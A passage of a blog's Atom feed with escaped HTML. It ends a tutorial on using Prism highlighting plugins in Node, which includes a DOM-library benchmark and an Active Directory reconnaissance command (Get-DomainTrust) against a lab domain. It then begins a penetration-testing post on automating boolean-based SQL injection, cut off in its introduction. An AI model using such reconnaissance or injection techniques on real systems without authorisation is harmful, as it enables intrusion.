  mdLib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;renderer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;fence&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;eleventy.config.js&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;step-3-use-markdown-it-attrs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-3-use-markdown-it-attrs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 3: Use &lt;code&gt;markdown-it-attrs&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;To add attributes to your codeblocks, introduce &lt;a href=&quot;https://github.com/arve0/markdown-it-attrs/&quot;&gt;&lt;code&gt;markdown-it-attrs&lt;/code&gt;&lt;/a&gt; to your MarkdownIt object.&lt;/p&gt;
&lt;p&gt;You can now add attributes and classes to your codeblocks which will then be parsed by Prism.&lt;/p&gt;
&lt;p&gt;For instance, this:&lt;/p&gt;
&lt;pre class=&quot;language-md&quot;&gt;
&lt;code&gt;```js {data-label=hello.js .inspect-me-lol}
function hello() {
  console.log(&quot;Hello world!&quot;);
}
```&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;becomes:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;hello.js&quot; class=&quot;inspect-me-lol language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hello&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;hello.js&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In 11ty, &lt;code&gt;markdown-it-attrs&lt;/code&gt; is incompatible with &lt;code&gt;eleventy-plugin-syntaxhighlight&lt;/code&gt; due to the way codeblocks are parsed.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;step-4-optional-modify-plugins&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-4-optional-modify-plugins&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 4: (Optional) Modify Plugins&lt;/h2&gt;
&lt;p&gt;With those two changes, we have all we need to start importing fancy plugins!&lt;/p&gt;
&lt;p&gt;In case you wish to fine-tune some plugins, you can always copy them into your local project and modify them directly! Some changes I made were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;modding &lt;code&gt;line-numbers&lt;/code&gt; for compatibility with &lt;code&gt;command-line&lt;/code&gt; and &lt;code&gt;diff&lt;/code&gt; (Yes, this doesn&#39;t really make sense, but who knows if I&#39;ll need it in the future?)&lt;/li&gt;
&lt;li&gt;modding &lt;code&gt;show-language&lt;/code&gt; to display the base language when the highlight language is &lt;code&gt;diff-*&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can also add custom attributes with some simple CSS! For instance, I added a CSS class which hides the command-line prompt when a &lt;code&gt;data-rw-prompt&lt;/code&gt; attribute is specified.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt; This is useful for long prompts, which may cover the entire screen&#39;s width when scrolling on a phone.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-css&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@media&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;max-width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 576px&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;/* rw-prompt: response width prompt */&lt;/span&gt;
    &lt;span class=&quot;token selector&quot;&gt;pre[data-rw-prompt] .command-line-prompt&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; none&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;CSS&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And here it is in action on some notes. Try viewing on both mobile and computer (or use your browser DevTools).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-powershell&quot; data-rw-prompt=&quot;&quot; data-prompt=&quot;PS C:&#92;Users&#92;Bob&gt;&quot; data-output=&quot;2-100&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;PS C:&#92;Users&#92;Bob&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;Get-DomainTrust&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;domain dollarcorp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;moneycorp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;local&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;SourceName      : dollarcorp.moneycorp.local&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TargetName      : moneycorp.local&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TrustType       : WINDOWS_ACTIVE_DIRECTORY&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TrustAttributes : WITHIN_FOREST&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TrustDirection  : Bidirectional&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;WhenCreated     : 11/12/2022 5:59:01 AM&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;WhenChanged     : 9/25/2024 10:12:06 PM&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;PowerShell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;benchmarking-dom-libraries&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#benchmarking-dom-libraries&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Benchmarking DOM Libraries&lt;/h2&gt;
&lt;p&gt;Understandably, one major bottleneck in our strategy is DOM manipulation. A suitable library needs to parse HTML fragments, manipulate DOM elements, and create new ones.&lt;/p&gt;
&lt;p&gt;Although I originally selected JSDOM in my quick-n-dirty hack for its popularity, I later switched to domino for a significant (2x!) speedup. This is based on a simple benchmark, which compares the three most popular(?) NodeJS DOM-manipulation libraries: &lt;a href=&quot;https://www.npmjs.com/package/jsdom&quot;&gt;JSDOM&lt;/a&gt;, &lt;a href=&quot;https://www.npmjs.com/package/domino&quot;&gt;domino&lt;/a&gt;, and &lt;a href=&quot;https://www.npmjs.com/package/linkedom&quot;&gt;LinkeDOM&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 800&quot; alt=&quot;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.&quot; title=&quot;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM. Lower time = faster.&lt;/sup&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Library&lt;/th&gt;
&lt;th&gt;Mean (ms)&lt;/th&gt;
&lt;th&gt;Min. (ms)&lt;/th&gt;
&lt;th&gt;Max. (ms)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JSDOM&lt;/td&gt;
&lt;td&gt;583&lt;/td&gt;
&lt;td&gt;492&lt;/td&gt;
&lt;td&gt;1007&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;domino&lt;/td&gt;
&lt;td&gt;265&lt;/td&gt;
&lt;td&gt;227&lt;/td&gt;
&lt;td&gt;477&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LinkeDOM&lt;/td&gt;
&lt;td&gt;280&lt;/td&gt;
&lt;td&gt;214&lt;/td&gt;
&lt;td&gt;666&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;details&gt;&lt;summary&gt;Benchmark Details and CLI Output&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;The benchmark was run on a MacBook Air with a 1.6 GHz Intel Core i5 processor and 8 GB 2133 MHz LPDDR3 RAM. Benchmark code can be found &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/tree/1f1163a022738da81f6a83f06dceb793c68e856d/eleventy/benchmarks/codeblocks#readme&quot;&gt;&lt;em&gt;here&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-shell&quot; data-prompt=&quot;$&quot; data-output=&quot;2-100&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; eleventy/benchmarks/codeblocks&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Running: JSDOM&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[auto] Target 199 runs (~604ms/run) in 120s.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; --- [JSDOM] ---&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - 199 runs&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - mean: µ=582.964ms / σ=70.796ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - minmax: 491.888ms / 1007.477ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Running: domino&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[auto] Target 454 runs (~264ms/run) in 120s.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; --- [domino] ---&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - 454 runs&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - mean: µ=265.399ms / σ=42.418ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - minmax: 226.817ms / 476.795ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Running: LinkeDOM&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[auto] Target 444 runs (~270ms/run) in 120s.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; --- [LinkeDOM] ---&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - 444 runs&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - mean: µ=279.861ms / σ=69.691ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - minmax: 214.418ms / 666.151ms&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Moreover, domino has 0 dependencies — it&#39;s basically written from the ground up! JSDOM has 21 dependencies. A lower number of dependencies reduces the attack surface of an application; and with increasing reports of &lt;a href=&quot;https://trebledj.me/posts/twelve-days-to-secure-your-systems/#software-components-and-the-supply-chain&quot;&gt;supply chain attacks&lt;/a&gt;, it&#39;s good to limit such risks.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Small update: In a funny twist of events, while I did end up choosing domino initially, I switched over to JSDOM later on. This is because I wanted to use the &lt;code&gt;prism-keep-markup&lt;/code&gt; plugin to be able to apply &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt; highlighting inside code blocks. Under the hood, the plugin requires &lt;code&gt;document.createRange&lt;/code&gt; which domino&#39;s API sadly does not provide. This is a temporary solution; which is to say, I was lazy and didn&#39;t want this roadblock to eat up too much time. I may or may not look towards handrolling/simulating &lt;code&gt;document.createRange&lt;/code&gt; with a custom function. If you have an alternative, I would welcome it.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;I&#39;ll be the first to admit — this is a rather crude hack with some loose ends.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn7&quot; id=&quot;fnref7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; But it works! Not to mention, it looks nice with enough CSS! And to some that&#39;s all that matters.&lt;/p&gt;
&lt;p&gt;For those interested in the code, you can check it out here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/markdown-it/markdown-it-prism-adapter.js&quot;&gt;module&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/markdown.js#L74-L88&quot;&gt;example usage&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Just copy the module into your build and load it.&lt;/p&gt;
&lt;p&gt;Here are a few other customisations to plugins I made.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;copy-to-clipboard: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/prism/prism-copy-to-clipboard.js&quot;&gt;plugin&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/js.bundle/common/prism-copy-to-clipboard.js&quot;&gt;js&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-custom.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;line-numbers: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/prism/prism-line-numbers.js&quot;&gt;plugin&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-line-numbers.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;show-language: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/prism/prism-show-language.js&quot;&gt;plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;command-line: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-command-line.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;toolbar: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-toolbar.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;diff: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-diff.css&quot;&gt;css&lt;/a&gt; (based on a Eleventy customisation)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Instead of monkeypatching the environment (and potentially affecting other libraries), we could also just write new code using regex to modify HTML, removing the requirement for a DOM altogether. But let’s face it, I sleep more soundly knowing the current implementation is mature and battle-tested. By introducing a DOM API to Node, you&#39;re placing trust in a library to be spec-compliant. By handwriting regex, you&#39;re placing trust in your code (and regex!) to work. Which would you rather have? &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Not that I have any red teaming writeups, but I foresee the possibility of such posts in the future. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;To be fair, there&#39;s an argument to be made for &amp;quot;not running these commands all at once&amp;quot;. Failure isn&#39;t handled. But this largely exists in relatively low-level build commands for C/C++, which are renowned for their many toolchains (read: potential build errors). &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Unlike JSDOM, domino doesn&#39;t have a &amp;quot;create fragment from HTML&amp;quot; function, so &lt;code&gt;template&lt;/code&gt; is the &lt;a href=&quot;https://github.com/fgnass/domino/issues/73&quot;&gt;suggested workaround&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Normally, wrapping it in &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt; is sufficient. But some plugins such as toolbar will traverse up to the parent of &lt;code&gt;pre&lt;/code&gt;, so... &lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt;. Yay, more workarounds! &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Here, rw stands for responsive width. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;It would be better to pass codeblock attributes directly to Prism without the extra stringification and parsing. Guess I&#39;ll leave this as an exercise for the front-end engineers. &lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>web</category>
        
          <category>js</category>
        
          <category>tutorial</category>
        
          <category>meta</category>
        
          <category>performance</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Automating Boolean-Based SQL Injection with Python</title>
        <description>How to be efficiently lazy at finding hidden gems in predictable places – Database Edition</description>
        <link href="https://trebledj.me/posts/automating-boolean-sql-injection-with-python/"/>
        <updated>2024-08-10T00:00:00Z</updated>
        <id>https://trebledj.me/posts/automating-boolean-sql-injection-with-python/</id>
        <content xml:lang="en" type="html">&lt;p&gt;When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to exploit — Boolean-Based SQLi.&lt;/p&gt;
&lt;p&gt;Tedious, heavily-repetitive tasks often present themselves as nice opportunities for automation. In this post, we’ll review Boolean-Based SQL Injection, and explore how to automate it with Python by starting with a basic script, optimising, applying multithreading, and more. We&#39;ll mainly focus on high-level approaches towards automation and keep our code snippets short.&lt;/p&gt;
&lt;p&gt;The end result is a script which automates network requests and brute-forcing into a nice interface:&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-100 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/hkirc-ctf-2024-demo.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Demo of the Python script in a CTF challenge.&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-is-boolean-based-blind-sql-injection&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#what-is-boolean-based-blind-sql-injection&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What is Boolean-Based Blind SQL Injection?&lt;/h2&gt;
&lt;p&gt;What a long name.&lt;/p&gt;
&lt;p&gt;Let’s break it down from right to left:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt;: an SQL query is combined with a user payload which makes the resulting query behave differently, potentially resulting in sensitive information disclosure or remote code execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blind&lt;/strong&gt;: SQL output is not returned directly in the response, but indirectly by some other indicator, such as a boolean response or time.
&lt;ul&gt;
&lt;li&gt;Sometimes, this term is dropped when discussing Boolean-Based SQLi, because Boolean-Based &lt;em&gt;implies&lt;/em&gt; Blind.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
